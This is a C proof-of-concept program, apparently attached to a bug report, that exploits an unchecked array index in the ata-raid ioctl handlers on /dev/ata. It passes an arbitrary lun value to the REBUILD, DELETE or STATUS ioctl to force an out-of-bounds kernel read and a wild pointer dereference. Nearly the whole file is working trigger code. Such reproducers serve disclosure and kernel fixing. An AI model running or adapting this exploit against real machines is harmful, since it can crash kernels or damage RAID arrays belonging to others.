/* DF-3692: unchecked lun index in IOCATARAIDREBUILD/STATUS/DELETE
 *   ata_raid_ioctl -> ata_raid_rebuild(*lun) -> ata_raid_arrays[lun]
 * lun is an arbitrary int -> OOB read of the global pointer table ->
 * wild struct ar_softc * dereference.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define IOCATARAIDSTATUS  _IOWR('a', 202, struct st)
#define IOCATARAIDDELETE  _IOW('a', 201, int)
#define IOCATARAIDREBUILD _IOW('a', 204, int)

struct st { int lun; int type; int interleave; int status; int progress;
            int total_disks; struct { int state; int lun; } disks[16]; };

int main(int argc, char **argv)
{
	int fd, lun, val;
	struct st st;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <rebuild|delete|status> <lun>\n", argv[0]);
		return 2;
	}
	fd = open("/dev/ata", O_RDWR);
	if (fd < 0) { perror("open /dev/ata"); return 2; }
	lun = (int)strtoul(argv[2], NULL, 0);
	val = lun;
	if (!strcmp(argv[1], "rebuild")) {
		printf("issuing IOCATARAIDREBUILD lun=%d (0x%x)\n", lun, lun);
		fflush(stdout);
		if (ioctl(fd, IOCATARAIDREBUILD, &val) < 0)
			perror("rebuild ioctl");
		else
			printf("rebuild returned 0\n");
	} else if (!strcmp(argv[1], "delete")) {
		printf("issuing IOCATARAIDDELETE lun=%d (0x%x)\n", lun, lun);
		fflush(stdout);
		if (ioctl(fd, IOCATARAIDDELETE, &val) < 0)
			perror("delete ioctl");
		else
			printf("delete returned 0\n");
	} else {
		st.lun = lun;
		printf("issuing IOCATARAIDSTATUS lun=%d (0x%x)\n", lun, lun);
		fflush(stdout);
		if (ioctl(fd, IOCATARAIDSTATUS, &st) < 0)
			perror("status ioctl");
		else
			printf("status: type=%d il=%d status=%d prog=%d disks=%d "
			       "d0.state=%x d0.lun=%d\n",
			       st.type, st.interleave, st.status, st.progress,
			       st.total_disks, st.disks[0].state, st.disks[0].lun);
	}
	close(fd);
	return 0;
}
